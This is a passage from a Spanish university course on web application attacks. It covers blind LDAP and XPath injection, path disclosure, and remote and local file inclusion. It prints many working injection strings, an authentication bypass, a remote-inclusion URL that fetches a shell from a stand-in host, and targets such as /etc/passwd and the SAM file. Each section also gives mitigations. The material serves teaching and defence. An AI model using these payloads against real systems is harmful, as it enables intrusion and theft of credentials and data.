Sabiendo que el filtro (objectClass=) siempre devuelve alguacuten objeto deberiacutea-
mos centrarnos en el segundo filtro realizando un recorrido de la siguiente
forma
(amp(objectClass=)(objectClass=users))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=personas))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=usuarios))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=logins))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=))(amp(objectClass=foo)(impresoraTipo=Epson))
CC-BY-NC-ND bull PID_00191662 41 Ataques a aplicaciones web
De tal manera que todas aquellas inyecciones que devolvieran el icono de la
impresora en la paacutegina web seriacutean respuestas afirmativas que nos indicariacutean
la existencia de ese tipo de objetos
Otra forma maacutes eficiente seriacutea realizando un barrido en el espectro del alfa-
beto de posibles valores utilizando una buacutesqueda con comodines para ello
realizariacuteamos un aacuterbol que comenzariacutea por todas las letras del abecedario de
la siguiente forma
(amp(objectClass=)(objectClass=a))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=b))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=z))(amp(objectClass=foo)(impresoraTipo=Epson))
De tal manera que seguiriacuteamos desplegando el aacuterbol de aquellas que hubieran
dado una respuesta positiva
(amp(objectClass=)(objectClass=aa))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=ab))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=az))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=ba))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=bb))(amp(objectClass=foo)(impresoraTipo=Epson))
Y asiacute sucesivamente con lo que desplegando siempre las positivas podriacuteamos
llegar a saber el nombre de todos los objetcClass de un sistema
Figura 28 Aacuterbol de despliegue Se profundizaraacute en todas las respuestas positivas (color verde)
Este mecanismo no solo funciona para objectClass sino que seriacutea vaacutelido
para cualquier atributo que un objeto compartiera con el atributo fijo Una
vez sacados los objectClass podriacuteamos proceder a realizar el mismo reco-
CC-BY-NC-ND bull PID_00191662 42 Ataques a aplicaciones web
rrido para extraer la informacioacuten de ellos por ejemplo si queremos extraer los
nombres de todos los usuarios de un sistema bastariacutea con realizar el barrido
con la siguiente inyeccioacuten
(amp(objectClass=user)(uid=a))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=user)(uid=b))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=user)(uid=z))(amp(objectClass=foo)(impresoraTipo=Epson))
Este meacutetodo obliga a hacer un recorrido en amplitud por un aacuterbol cuya posi-
bilidad de expandirse en cada nodo siempre es igual al alfabeto completo Se
puede reducir este alfabeto realizando un recorrido para averiguar queacute carac-
teres no estaacuten siendo utilizados en ninguna posicioacuten en ninguacuten objeto utili-
zando un recorrido de la siguiente forma
(amp(objectClass=user)(uid=a))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=user)(uid=b))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=user)(uid=z))(amp(objectClass=foo)(impresoraTipo=Epson))
De esta forma se pueden excluir del alfabeto aquellos caracteres que no hayan
devuelto un resultado positivo tras este primer recorrido Si deseaacuteramos bus-
car un uacutenico valor podriacuteamos realizar una buacutesqueda binaria de cada uno de
los caracteres utilizando los operadores relacionales lt= o gt= para reducir el
nuacutemero de peticiones
En los atributos que almacenan valores numeacutericos no es posible utilizar el co-
modiacuten para ldquobooleanizarrdquo la informacioacuten almacenada es por tanto necesa-
rio realizar la buacutesqueda de valores utilizando los operadores gt= y lt=
(amp(objectClass=user)(uid=kurt)(edadgt=1)(amp(objectClass=foo)(impresoraTipo=Epson))
223 Blind LDAP Injection en un entorno ldquoORrdquo
En esta situacioacuten tenemos una consulta generada en el lado del servidor del
siguiente tipo
(|(atributo1=valor1)(atributo2=valor2))
En este entorno la loacutegica que debemos utilizar es al contrario En lugar de fijar
el valor del primer filtro a un valor siempre cierto deberemos fijarlo a un valor
siempre falso y a partir de ahiacute extraer la informacioacuten es decir realizariacuteamos
una inyeccioacuten de la siguiente forma
(|(objectClass=void)(objectClass=void))(amp(objectClass=void)(impresoraTipo=Epson))
CC-BY-NC-ND bull PID_00191662 43 Ataques a aplicaciones web
Con esta inyeccioacuten obtendremos el valor negativo de referencia En el ejemplo
planteado de las impresoras disponibles deberemos obtener un resultado sin
el icono de la impresora Luego podremos inferir la informacioacuten cuando sea
verdadero el segundo filtro
(|(objectClass=void)(objectClass=users))(amp(objectClass=void)(impresoraTipo=Epson))
(|(objectClass=void)(objectClass=personas))(amp(objectClass=void)(impresoraTipo=Epson))
(|(objectClass=void)(objectClass=usuarios))(amp(objectClass=void)(impresoraTipo=Epson))
(|(objectClass=void)(objectClass=logins))(amp(objectClass=void)(impresoraTipo=Epson))
(|(objectClass=void)(objectClass=))(amp(objectClass=void)(impresoraTipo=Epson))
De igual forma que en el ejemplo con el operador AND podriacuteamos extraer toda
la informacioacuten del aacuterbol LDAP utilizando los comodines
224 Ejemplos Blind LDAP Injection
Para mostrar la potencia de los ataques Blind LDAP Injection se ha creado
dentro de un aacuterbol LDAP sobre ADAM una estructura con objetos Printer En
la siguiente figura se pueden ver los atributos de un objeto de tipo Printer
Figura 29 Aacuterbol LDAP sobre ADAM Objeto tipo Printer
Sobre este aacuterbol LDAP trabaja una aplicacioacuten web que se conecta entre otros
repositorios a este aacuterbol para obtener informacioacuten En este caso tenemos una
aplicacioacuten programada en php llamada printerstatusphp que recibe co-
mo paraacutemetro el nombre de la impresora y construye una consulta LDAP de
la siguiente forma
(amp(cn=HP Laserjet 2100)(objectclass=printer))
El resultado es una paacutegina web en la que se accede a propiedades de la impre-
sora en concreto
CC-BY-NC-ND bull PID_00191662 44 Ataques a aplicaciones web
Figura 30 Propiedades de la impresora HP LaserJet 2100
El paraacutemetro idprinter se utiliza para construir la consulta LDAP y es vul-
nerable a LDAP Injection sin embargo no se muestra ninguno de los datos de
los objetos que se puedan seleccionar con cualquier consulta ejecutada por
lo que uacutenicamente se puede realizar una explotacioacuten a ciegas Las siguientes
capturas muestran ejemplos de coacutemo extraer informacioacuten del aacuterbol LDAP me-
diante Blind LDAP Injection
1)Fase1descubrimientodeatributos
El atacante inyecta atributos para descubrir si existen o no Cuando el atributo
no existe la consulta LDAP no devuelve ninguacuten objeto y la aplicacioacuten no
muestra datos de ninguna impresora
Hay que tener en cuenta que el comodiacuten vale uacutenicamente para los valores de
tipo alfanumeacutericos luego si el atributo fuera de otro tipo no se podriacutea descubrir
asiacute Para los tipos numeacutericos y de tipo fecha se utilizan los operadores gt= lt=
o = y para los booleanos las constantes true y false
Figura 31 Atributo IPaddress no existe o no tiene valor alfanumeacuterico
En el siguiente ejemplo el atributo distinguisedname existe y ademaacutes es de
tipo alfanumeacuterico ya que funciona perfectamente con el comodiacuten ldquordquo Esto
se puede comprobar porque la paacutegina de resultados ha devuelto datos de la
impresora que se estaba utilizando
CC-BY-NC-ND bull PID_00191662 45 Ataques a aplicaciones web
Figura 32 Atributo distinguisedname existe y tiene valor alfanumeacuterico
Como se puede ver hay diferencias entre las paacuteginas que devuelven datos y las
que no con lo que se puede automatizar la extraccioacuten de toda la informacioacuten
y el descubrimiento de los atributos simplemente comparando los resultados
HTML obtenidos
En la figura 33 se obtiene de nuevo un resultado positivo que confirma la
existencia de un atributo department
Figura 33 Atributo Department existe y tiene valor Unicode extraiacuteble
2)Fase2reduccioacutendelalfabeto
Una de las opciones que se pueden sopesar es realizar una reduccioacuten del al-
fabeto posible de valores en un campo La idea consiste en saber si existe o
no un determinado caraacutecter en un atributo Si el atributo tiene 15 caracteres
de longitud y tenemos que probar por ejemplo 28 letras por 15 caracteres
tendriacutean que realizarse un total de 420 peticiones para extraer la informacioacuten
Sin embargo se puede realizar un recorrido que nos diga si una letra pertene-
ce o no al valor De esa manera realizariacuteamos primero 28 peticiones que nos
dejaraacuten en el peor de los casos una letra distinta por cada posicioacuten es decir
15 letras Luego en el peor de los casos tendriacuteamos 15 letras x 15 posiciones
+ 28 peticiones de reduccioacuten del alfabeto es decir 253 peticiones Ademaacutes se
puede inferir que si una letra ya ha sido utilizada puede que no se vuelva a
utilizar con lo que tendriacuteamos una reduccioacuten auacuten mayor si la letra se utiliza
como uacuteltima opcioacuten dejando la probabilidad en un sumatorio de 115 + 28
es decir 148 peticiones
CC-BY-NC-ND bull PID_00191662 46 Ataques a aplicaciones web
Como conclusioacuten se puede obtener que la reduccioacuten del alfabeto es una buena
opcioacuten a la hora de extraer valores de campos
En los siguientes ejemplos vamos a ver coacutemo averiguar si un caraacutecter pertenece
o no al valor del campo
Figura 34 La letra b no pertenece al valor del atributo department porque no se obtienendatos
Figura 35 La letra n siacute que pertenece al valor del atributo department porque siacute que seobtienen datos
Esta reduccioacuten dejariacutea un conjunto de valores vaacutelidos que pueden emplearse
para extraer el valor del dato mediante un proceso de despliegue
3)Fase3despliegue
En esta fase una vez reducido el alfabeto hay que ordenar las letras obtenidas
para ello comenzaremos un proceso desde la primera posicioacuten
Figura 36 El valor de department no comienza por la letra a porque no se obtienen datos
CC-BY-NC-ND bull PID_00191662 47 Ataques a aplicaciones web
Se iraacuten probando letras hasta que se obtenga un resultado positivo que con-
firme que con ese patroacuten se devuelven datos
Figura 37 El valor de department siacute comienza por la letra f porque siacute se obtienen datos
Una vez descubierta la primera letra esta se mantendraacute fija y se procederaacute a
buscar la segunda letra sustituyendo siempre los caracteres obtenidos en la
fase de reduccioacuten del alfabeto
Figura 38 El valor de department no comienza por las letras fa porque no se obtienen datos
Figura 39 El valor de department siacute que comienza por las letras fi porque siacute que se obtienendatos
Este proceso se repetiriacutea con todos los atributos descubiertos y hasta que se
hubieran descubierto todas las letras permitiendo extraer informacioacuten oculta
de los objetos del aacuterbol LDAP
LDAP es una tecnologiacutea en expansioacuten cuya implantacioacuten en los sistemas de di-
rectorio y metadirectorio la hacen cada diacutea maacutes popular Los entornos intranet
realizan uso intensivo de esta tecnologiacutea para ofrecer sistemas de Single Sing-
On e incluso es comuacuten encontrar entornos LDAP en los servicios de Internet
CC-BY-NC-ND bull PID_00191662 48 Ataques a aplicaciones web
Esta popularidad hace que sea necesario incluir las pruebas anteriores dentro
de los procesos de auditoriacutea de seguridad de las aplicaciones web Las pruebas
de inyecciones de auditoriacutea que se estaban realizando hoy en diacutea siguiendo
la documentacioacuten existente son de poca ayuda pues en los entornos maacutes
comunes como ADAM u OpenLDAP no funcionan
La solucioacuten para proteger las aplicaciones frente a este tipo de inyecciones
consiste como en otros entornos de explotacioacuten en filtrar los paraacutemetros en-
viados desde el cliente En este caso filtrar operadores pareacutentesis y comodines
para que nunca un atacante sea capaz de inyectar loacutegica dentro de nuestra
aplicacioacuten
23 XPath
XPath es un lenguaje que permite la buacutesqueda de informacioacuten en do-
cumentos XML por medio de expresiones especiacuteficas para su estructura
Estaacute pensado para optimizar los tiempos de buacutesqueda haciendo uso de
la organizacioacuten de nodos que poseen los ficheros XML
Como cualquier medio para el almacenamiento y buacutesqueda de datos es posi-
ble implementarlo en aplicaciones web de modo que pueden sustituir a los
SGBD (sistema gestor de base de datos) basados en SQL
231 XPath injection y Blind XPath Injection
XPath Injection es una vulnerabilidad que radica en la modificacioacuten de los
paraacutemetros de buacutesqueda a la hora de formar una query XPath
Una inyeccioacuten XPath sucede cuando se inserta coacutedigo XPath dentro de la sen-
tencia y ejecuta el coacutedigo inyectado dentro del motor de buacutesqueda XML
Este tipo de vulnerabilidades basadas en inyecciones (XPath Injection SQL
Injection LDAP Injection) son fallos de seguridad causados por una mala
programacioacuten de la aplicacioacuten que hace la conexioacuten contra el motor de buacutes-
queda sin importar que la aplicacioacuten sea de escritorio o web
Para conocer coacutemo funciona esta teacutecnica en mayor profundidad vamos a su-
poner un caso praacutectico Tenemos una aplicacioacuten web que hace una conexioacuten
contra un aacuterbol XML con la siguiente estructura
ltxml version=10 encoding=UTF-8gt
ltusuariosgt
ltusuario login=admin password=t1oviv0 nivel=3 gt
ltusuario login=usuario password=miPasswordXml nivel=1 gt
ltusuario login=invitado password=invitado nivel=0 gt
CC-BY-NC-ND bull PID_00191662 49 Ataques a aplicaciones web
ltusuariosgt
La aplicacioacuten web maneja un sistema de autenticacioacuten basado en XML donde
para realizar la autentificacioacuten tiene un formulario en el que solicita un usuario
y un password con los que posteriormente formara una query de XPath con
la siguiente estructura
string xpath = usuariosusuario[login= + usuario + and password= + password + ]
En un entorno seguro esta query de XPath no devolveraacute ninguacuten resultado posi-
tivo a no ser que el usuario y el password correspondan con los establecidos en
el documento XML pero si se trata de un entorno inseguro donde los campos
de entrada (usuario y password) no estaacuten filtrados seriacutea posible realizar una
inyeccioacuten
Si un usuario introdujera en el campo password un valor como abclsquo or
lsquoarsquo=rsquoarsquo or lsquoarsquo=rsquob seriacutea suficiente para saltarse el sistema de login y acceder
a la zona privada ya que el motor de buacutesqueda XML devolveriacutea un resultado
positivo Teniendo en cuenta que primero se evaluacutean los operadores AND y
posteriormente los OR el resultado booleano que tratariacutea el motor de buacutesque-
da seriacutea el que nos muestra el siguiente ejemplo
Figura 40 Evaluacioacuten de los paraacutemetros en XPath
Como hemos visto con este tipo de inyecciones es posible hacer modificacio-
nes en la query para obtener el resultado deseado (truefalse) pero es posible ir
mucho maacutes allaacute y averiguar la estructura del aacuterbol XML con todos sus nodos
atributos y elementos
Realizar este tipo de ataques es posible Se utiliza una variacioacuten de ldquoXPath
Injectionrdquo llamada ldquoBlind XPath Injectionrdquo la cual consiste en averiguar valores
del aacuterbol XML basaacutendose en el resultado booleano que devuelve la aplicacioacuten
vulnerable
Retomando el caso praacutectico anterior supongamos que cuando realizamos login
en la aplicacioacuten (introduciendo abclsquo or lsquoarsquo=rsquoarsquo or lsquoarsquo=rsquob) la aplicacioacuten
devuelve un mensaje de autentificacioacuten donde dice ldquoBienvenidordquo y en caso
de que la query XPath devuelva un resultado negativo (cuando se realiza una
inyeccioacuten que devuelva false) muestre un mensaje donde diga ldquoUsuario yo
password incorrectordquo
CC-BY-NC-ND bull PID_00191662 50 Ataques a aplicaciones web
En este caso nos encontramos claramente ante una aplicacioacuten vulnerable a
Blind XPath Injection pero si aun asiacute queremos estar seguros de que se trata de
un motor XML y no SQL podemos utilizar funciones como count() la
cual devuelve el nuacutemero total de nodos en el aacuterbol que siempre deberiacutea tener
al menos 1 nodo
bull Inyeccioacuten de cadena alsquo or count()gt0 or lsquoarsquo=rsquob
bull Inyeccioacuten numeacuterica 0 or count()gt0 or 1=1
Tambieacuten es posible la utilizacioacuten de operadores OR en mayuacutesculas ya que
estos no son aceptados en buacutesquedas XML y siacute que lo son en buacutesquedas SQL
(estas admiten operadores tanto en minuacutesculas como en mayuacutesculas) de tal
modo que se podriacutea concluir si el motor de buacutesqueda trabaja con XML
bull Motor SQL lsquo OR 1=1 OR lsquorsquo=rsquo
bull Motor SQLXML lsquo or 1=1 or lsquorsquo=rsquo
Si con esta prueba obtenemos un resultado positivo no hay duda de que es un
sistema XML es vulnerable y ademaacutes es posible extraer todo el aacuterbol XML
iquestcoacutemo utilizando teacutecnicas de ldquobooleanizacioacutenrdquo
El primer paso a la hora de empezar un ataque para descargarse el aacuterbol seriacutea
sacar los valores del nodo raiacutez que contiene el resto de los nodos Los pasos
que habriacutea que realizar seriacutean los siguientes
1) Extraer el nombre del nodo
2) Extraer los atributos del nodo
3) Comprobar si es un elemento3 En caso positivo obtener el valor
4) Calcular el nuacutemero de nodos hijos que contiene el nodo que se estaacute anali-
zando
5) Volver a realizar el paso lsquo1rsquo con los nodos extraiacutedos en el paso lsquo4rsquo
Para extraer el nombre del nodo primero seriacutea necesario calcular el nuacutemero de
caracteres del mismo Esto se puede hacer utilizando la funcioacuten string-length
[PATH]childnode()[position()=[NUMNODO] and string-length (name())gt[NUMERO]]
Donde [PATH] seriacutea el nodo a analizar [NUMNODO] el nuacutemero de nodo (ya
que puede haber varios nodos con el mismo nombre dentro del mismo padre)
y [NUMERO] seriacutea la longitud del nombre del nodo De este modo utilizando
fuerza bruta y teacutecnicas de optimizacioacuten como la buacutesqueda binaria seriacutea posi-
ble sacar la longitud del nombre de la siguiente manera
(3)Si el nodo es un elemento nopuede contener subnodos por loque los pasos 4 y 5 no se realiza-riacutean
CC-BY-NC-ND bull PID_00191662 51 Ataques a aplicaciones web
or childnode()[position()=1 and string-length(name())gt20] or 1=1 and =
or childnode()[position()=1 and string-length(name())gt10] or 1=1 and =
or childnode()[position()=1 and string-length(name())gt5] or 1=1 and =
or childnode()[position()=1 and string-length(name())gt7] or 1=1 and =
or childnode()[position()=1 and string-length(name())gt9] or 1=1 and =
or childnode()[position()=1 and string-length(name())=8] or 1=1 and =
Una vez se sabe que la longitud del nodo son ocho caracteres se puede sacar
el nombre del nodo siguiendo el mismo mecanismo teacutecnicas de ldquobooleaniza-
cioacutenrdquo e imaginacioacuten
or childnode()[position()=1 and starts-with(name()a)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()b)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()c)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()u)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()ua)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()ub)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()us)] and =
or childnode()[position()=1 and starts-with(name()usu)] and =
Seriacutea el mismo proceso para cada letra del nombre utilizando un charset de
caracteres y extraer cada caraacutecter desde la posicioacuten 1 hasta la posicioacuten maacutexi-
ma que seriacutea la longitud del nombre extraiacuteda inicialmente
Los pasos para extraer los atributos y elementos seriacutean exactamente los mis-
mos pero variando la consulta XPath con las siguientes plantillas
1) Para extraer informacioacuten referente a los nodos
bull Longitud del nombre
[PATH]childnode()[position()=[NUMNODO] and
string-length(name())gt[NUMERO]]
bull Nombre del nodo
[PATH]childnode()[position()=[NUMNODO] and
starts-with(name()[VALORES])]
bull Nuacutemero de subnodos
count([PATH]childnode())gt[NUMERO]
2) Para extraer la informacioacuten de los atributos
bull Nuacutemero de atributos de un nodo
count([PATH]childnode()[[NUMNODO]])gt[NUMERO]
CC-BY-NC-ND bull PID_00191662 52 Ataques a aplicaciones web
bull Longitud del nombre del atributo
[PATH]childnode()[position()=[NUMNODO]] and
string-length([PATH]childnode()
[[NUMNODO]][position()=[NUMATT] and
string-length(name())gt[NUMERO]])gt0
bull Longitud del valor del atributo
[PATH]childnode()[position()=[NUMNODO]] and
string-length([PATH]childnode()
[[NUMNODO]][position()=[NUMATT]])gt[NUMERO]
bull Nombre del atributo
[PATH]childnode()[position()=[NUMNODO]] and
[PATH]childnode()[[NUMNODO]][position()=[NUMATT] and
starts-with(name()[VALORES])
bull Valor del atributo
[PATH]childnode()[position()=[NUMNODO]] and
starts-with([PATH]childnode()
[[NUMNODO]][position()=[NUMATT]] [VALORES])
3) Para extraer el contenido de un nodo los elementos
bull Longitud del elemento
string-length([PATH]childtext())gt[NUMERO]
bull Valor del elemento
starts-with([PATH]childtext()[VALORES])
Esta teacutecnica puede resultar muy tediosa y lenta si se realiza manualmente pero
para ello ya existen herramientas que hacen este proceso de forma automaacuteti-
ca y ademaacutes utilizan teacutecnicas de optimizacioacuten como reduccioacuten del charset
para encontrar los datos realizando un reducido nuacutemero de consultas
Implementar una reduccioacuten de charset es algo simple basta con hacer una
query por cada caraacutecter y comprobar si ese caraacutecter existe en alguacuten nodo ele-
mento o atributo del aacuterbol En caso negativo se elimina ese caraacutecter del char-
set Esto puede hacerse con la siguientes query
[contains(name() a)] or [contains(name() a)]
or attribute[contains(a)] or contains( a)
Si esta nos devuelve un resultado positivo se mantiene la letra lsquoarsquo en el charset
de letras a probar sin embargo si nos devuelve la paacutegina que hemos asociado
a una peticioacuten falsa podremos eliminar el caraacutecter a del resto de pruebas a
realizar pues ya sabremos que nunca va a aparecer
CC-BY-NC-ND bull PID_00191662 53 Ataques a aplicaciones web
Otra teacutecnica interesante para la optimizacioacuten del Blind XPath Injection es el
de ldquolearn wordsrdquo de modo que cuando se extrae el nombre de un nodo ele-
mento o atributo se guarda en una lista Cuando se encuentre otro nodoele-
mentoatributo de una longitud de nombre igual a la de alguacuten elemento ya
extraiacutedo hacer comprobaciones con los nodos ya conocidos pues es probable
que si tienen la misma longitud tengan el mismo nombre
En la siguiente imagen se muestra una herramienta en funcionamiento una
vez descargado el aacuterbol XML de una aplicacioacuten web vulnerable
Figura 41 Aacuterbol XML extraiacutedo mediante una aplicacioacutenautomatizada
232 iquestCoacutemo protegerse de teacutecnicas de XPath Injection
La proteccioacuten contra este tipo de teacutecnicas es muy simple y debe correr de
la mano del programador de la aplicacioacuten Uacutenicamente hay que realizar un
filtrado de las entradas teniendo en cuenta dos factores
bull Si la entrada es numeacuterica antes de formar la query comprobar que el valor
introducido en la entrada es un valor numeacuterico y no una cadena de texto
bull Si la entrada es de texto remplazar los caracteres peligrosos como la comi-
lla simple y doble por rsquo y rdquo
CC-BY-NC-ND bull PID_00191662 54 Ataques a aplicaciones web
3 Ataques de Path Transversal
Mediante las teacutecnicas de Path Transversal se va a lograr acceder a in-
formacioacuten referente al servidor desde simplemente el directorio donde
se estaacute ejecutando la aplicacioacuten web hasta lograr descargar ficheros del
servidor Cada uno de estos fallos recibe un nombre y lo estudiaremos
por separado
La informacioacuten obtenida puede ser usada por un atacante para lograr acceder
a otros recursos de la paacutegina mediante alguacuten tipo de ingenieriacutea social o dedu-
ciendo posibles nombres de ficheros yo carpetas para posteriormente acceder
a ellos
Vamos a analizar desde los menos peligrosos hasta los maacutes criacuteticos viendo
coacutemo unos se apoyan en los anteriores y coacutemo en cierta medida dependen
unos de los otros y realmente estaacuten muy relacionados entre siacute
31 Path Disclosure
Este problema no es especiacutefico de una tecnologiacutea sino que puede darse en
cualquier lenguaje de programacioacuten y en cualquier tecnologiacutea de servidor Es-
ta vulnerabilidad no es criacutetica por siacute misma pero puede facilitar las cosas a
un atacante que intente cualquiera de los fallos que se comentaraacuten posterior-
mente
El concepto es lograr conocer la ruta en la que se estaacute ejecutando la apli-
cacioacuten Para ello nos valdremos de mensajes de error (provocados o no)
que contengan rutas a ficheros Esto lo lograremos introduciendo carac-
teres erroacuteneos en los paraacutemetros o accediendo a rutas que no existan
Figura 42 Fallo de Path Disclosure
CC-BY-NC-ND bull PID_00191662 55 Ataques a aplicaciones web
Este mensaje de error puede darse al intentar reproducir cualquiera de los de-
maacutes fallos explicados en esta seccioacuten Normalmente los lenguajes de progra-
macioacuten del lado del servidor si no tienen los errores controlados mostraraacuten
un mensaje de error predefinido que usualmente contiene la ruta del fichero
afectado
Evitar este tipo de errores es tan sencillo como generar nuestras propias paacutegi-
nas de error Tambieacuten controlar cualquier tipo de excepcioacuten en el coacutedigo es
buena praacutectica En definitiva no dejar que los mensajes por defecto se mues-
tren nunca al usuario
CC-BY-NC-ND bull PID_00191662 56 Ataques a aplicaciones web
4 Ataques de inyeccioacuten de ficheros
41 Remote file inclusion
Remote file inclusion es la vulnerabilidad consistente en ejecutar coacutedigo
remoto dentro de la aplicacioacuten vulnerable Se basa en la idea de que al
igual que es posible cargar un fichero local para su inclusioacuten dentro de la
paacutegina podriacuteamos cargar uno remoto que contuviese coacutedigo malicioso
Esto es posible en lenguajes interpretados donde podemos incluir un fichero
con coacutedigo y antildeadirlo a la ejecucioacuten En el siguiente ejemplo se toma como
base una paacutegina programada en PHP
httpwwwmipaginacommostrarphppag=indexphp
PHP hace uso de funciones que permiten la inclusioacuten de ficheros externos
para generar paacuteginas maacutes complejas y maacutes completas En el hipoteacutetico ejemplo
anterior el fichero mostrarphp hariacutea uso de alguna de estas funciones de PHP
que permiten la inclusioacuten dinaacutemica de ficheros
bull include($pag)
bull require($pag)
bull include_once($pag)
bull require_once($pag)
Estas funciones reciben un paraacutemetro (llamado $pag en este ejemplo) que in-
dica la ruta del fichero que ha de incluirse Si la variable pag no estaacute suficien-
temente controlada podremos hacer una llamada a un fichero externo que se
descargaraacute e interpretaraacute en el lado del servidor
httpwwwmipaginacommostrarphppag=httpmalocomshelltxt
En la llamada anterior el servidor mipaginacom solicitaraacute a malocom el
fichero shelltxt que incluiraacute coacutedigo PHP vaacutelido que se ejecutaraacute en
mipaginacom
Este fallo se debe a una mala configuracioacuten del servidor PHP el cual permite la
inclusioacuten de ficheros externos La configuracioacuten correcta deberiacutea ser la prohi-
bicioacuten total de realizar estas acciones
CC-BY-NC-ND bull PID_00191662 57 Ataques a aplicaciones web
Para establecer una configuracioacuten adecuada en el inteacuterprete de PHP debemos
buscar el fichero phpini de configuracioacuten (en Linux suele estar en etc
php5phpini) y establecer la clave de configuracioacuten allow_url_include
a false
Este fallo de seguridad puede dar lugar a que un atacante logre ejecutar cual-
quier coacutedigo deseado en el servidor web con los riesgos que esto conlleva
Existen ficheros ya pregenerados para ser incluidos dentro del flujo de ejecu-
cioacuten de la aplicacioacuten web Van desde un simple inteacuterprete de comandos a una
completa shell equipada con su propio explorador de ficheros opciones pa-
ra subir o descargar ficheros e incluso la posibilidad de ejecutar programas en
el equipo remoto
Figura 43 Shell remota ejecutaacutendose
Existe una gran variedad de shells remotas que podemos encontrar en Internet
Por ejemplo la shell mostrada en la figura anterior se llama c99 aunque existen
otras como la r57 o c100 De todas maneras siempre podemos programarnos
una propia con la funcionalidad que necesitemos
42 Local file inclusion
Esta vulnerabilidad al contrario que la anterior afecta tanto a lenguajes com-
pilados como interpretados Se basa en la posibilidad de incluir dentro de la
paacutegina un fichero local del usuario con el que se ejecuta el servidor de aplica-
ciones web que tenga permisos de lectura
Esta vulnerabilidad puede ocurrir en cualquier lugar de un sitio web pero suele
ser maacutes comuacuten en dos sitios bien diferenciados
bull Paacuteginas de plantillas carga un fichero desde otro y le da formato
CC-BY-NC-ND bull PID_00191662 58 Ataques a aplicaciones web
bull Paacuteginas de descargas recibe un paraacutemetro con el nombre del fichero a
descargar y lo enviacutea al cliente
El concepto tras ambos fallos es el mismo y las implementaciones defectuo-
sas a veces tambieacuten Para lograr explotar esta vulnerabilidad de una manera
satisfactoria deberiacuteamos poder hacer llamadas a ficheros fuera de la ruta ori-
ginal Esto lo hariacuteamos intentando incluir ficheros de un directorio superior
usando los caracteres en sistemas Linux o en sistemas Windows maacutes
el nombre de un fichero del que conozcamos su existencia Por ejemplo sos-
pechamos que la siguiente URL tiene un fallo de local file inclusion
httpwwwvictimacomnoticiasdetallephpid=4amptipo=deportesphp
Entonces para corroborarlo y determinar que efectivamente nos encontramos
frente a un fallo de remote file inclusion podriacuteamos modificar la URL hasta que
quedase como sigue
httpwwwvictimacomnoticiasdetallephpid=4amptipo=indexphp
Con esta simple comprobacioacuten podriacuteamos detectar si una paacutegina va a ser vul-
nerable a local file inclusion
Esta teacutecnica se puede ampliar (si los permisos lo permiten y no se aplica el
concepto del miacutenimo privilegio) a ficheros fuera del directorio de la aplicacioacuten
web y empezar a incluir ficheros del propio sistema operativo Esto nos per-
mitiraacute obtener maacutes informacioacuten sobre el equipo
Para localizar sin equivocaciones los ficheros podemos usar un fallo de Path
Disclosure para que nos deacute informacioacuten sobre la ruta local donde se ubican
estos De todas maneras y si no sabemos la ruta relativa de un fichero frente
a la paacutegina vulnerable podemos usar las rutas directas4
Existen muchos ficheros interesantes a los que acceder mediante esta teacutecnica
dependiendo de los objetivos del atacante Ademaacutes estos variaraacuten entre distin-
tos sistemas operativos A continuacioacuten se detallan algunos de estos ficheros
como muestra de la informacioacuten que podemos llegar a obtener
bull etcpasswd Fichero de usuarios en sistemas Linux Contiene un com-
pendio de los usuarios existentes asiacute como datos relativos a ellos como
nombre o directorio del home
bull etchosts Permite guardar informacioacuten sobre equipos proacuteximos Suele
contener una lista de nombre e IPS internos que nos permiten obtener una
mejor idea de la estructura interna de una organizacioacuten
bull CWindowsrepairSAM La SAM es el fichero que contiene los nombres
de usuarios y claves de los usuarios de un sistema Windows En la carpeta
(4)Una ruta directa es la que inclu-ye todo el nombre del fichero
CC-BY-NC-ND bull PID_00191662 59 Ataques a aplicaciones web
Repair se almacena una copia del fichero SAM para poder recuperarla en
caso de error del sistema
bull El propio fichero vulnerable Es muy instructivo descargar el propio fichero
vulnerable mediante el fallo de local file inclusion para poder aprender de
los problemas de otros
Para evitar que esta teacutecnica tenga mayor impacto es importante pensar en
montar el servidor con el miacutenimo privilegio posible limitando la posibilidad
de acceso a ficheros del servidor dentro de su propia carpeta con lo que lo-
gramos evitar el acceso a ficheros del sistema aunque no a ficheros propios
de la aplicacioacuten
Figura 44 Ejemplo de local file inclusion
Si queremos hacer una proteccioacuten mediante programacioacuten en lugar de contro-
larlo mediante permisos en el servidor hay que tener en cuenta que las rutas
a ficheros se pueden escribir de dos maneras
bull Directa Escribimos la ruta donde se encuentra el fichero directamente
Deberiacuteamos por tanto eliminar los caracteres o de los datos enviados
por los usuarios
bull Relativa Usamos la canonizacioacuten para subir hacia directorios superiores
mediante el uso de o Lo podriacuteamos evitar excluyendo ademaacutes
de lo anterior los puntos
43 Webtrojans
Una de las funcionalidades maacutes extendidas en paacuteginas web medianamente
complejas es la posibilidad de subir ficheros al servidor imaacutegenes documentos
en PDF ficheros de viacutedeo etc
Cuando un usuario nos enviacutea un fichero debemos comprobar que lo que nos
enviacutea es un fichero legiacutetimo es decir si estamos esperando la llegada de un
fichero con una imagen es necesario comprobar que lo que recibimos es real-
mente una imagen y no otro tipo de fichero
CC-BY-NC-ND bull PID_00191662 60 Ataques a aplicaciones web
Si no comprobamos los ficheros que se nos enviacutean podriacuteamos estar copiando
